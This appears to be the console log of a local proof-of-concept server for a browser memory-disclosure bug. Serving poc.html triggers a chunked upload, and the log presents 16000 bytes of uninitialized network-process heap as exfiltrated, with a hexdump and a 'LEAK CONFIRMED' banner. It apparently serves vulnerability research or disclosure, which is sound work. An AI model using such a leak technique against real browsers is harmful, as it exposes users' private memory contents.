[server] Listening on http://127.0.0.1:18080/
[server] Serve poc.html at /poc.html
[server] Leak sink at POST /upload
[server] "GET /poc.html HTTP/1.1" 200 -
[server] "GET /poc.html HTTP/1.1" 200 -

==============================================================================
[server] *** POST /upload received -- this is the leak ***
[server] Transfer-Encoding: chunked
==============================================================================
[server] First chunk size: 16000 (0x3e80) bytes

[server] === LEAK ANALYSIS ===
[server] Received 16000 bytes
[server] Nonzero bytes: 4096 / 16000 (25.6%)
[server] *** The renderer NEVER wrote ANY bytes to the upload pipe. ***
[server] *** Every byte above is uninitialized network-process heap. ***

[server] First 256 bytes (hexdump):
[server]   0000  be be be be be be be be be be be be be be be be  |................|
[server]   0010  be be be be be be be be be be be be be be be be  |................|
[server]   0020  be be be be be be be be be be be be be be be be  |................|
[server]   0030  be be be be be be be be be be be be be be be be  |................|
[server]   0040  be be be be be be be be be be be be be be be be  |................|
[server]   0050  be be be be be be be be be be be be be be be be  |................|
[server]   0060  be be be be be be be be be be be be be be be be  |................|
[server]   0070  be be be be be be be be be be be be be be be be  |................|
[server]   0080  be be be be be be be be be be be be be be be be  |................|
[server]   0090  be be be be be be be be be be be be be be be be  |................|
[server]   00a0  be be be be be be be be be be be be be be be be  |................|
[server]   00b0  be be be be be be be be be be be be be be be be  |................|
[server]   00c0  be be be be be be be be be be be be be be be be  |................|
[server]   00d0  be be be be be be be be be be be be be be be be  |................|
[server]   00e0  be be be be be be be be be be be be be be be be  |................|
[server]   00f0  be be be be be be be be be be be be be be be be  |................|

[server] Raw leak saved to: leaked_bytes.bin
[server] Hex dump saved to:   leaked_bytes.hex

[server] >>> LEAK CONFIRMED: 4096 nonzero bytes of network-process heap exfiltrated <<<

[server] "POST /upload HTTP/1.1" 200 -
[server] code 404, message Not Found
[server] "GET /favicon.ico HTTP/1.1" 404 -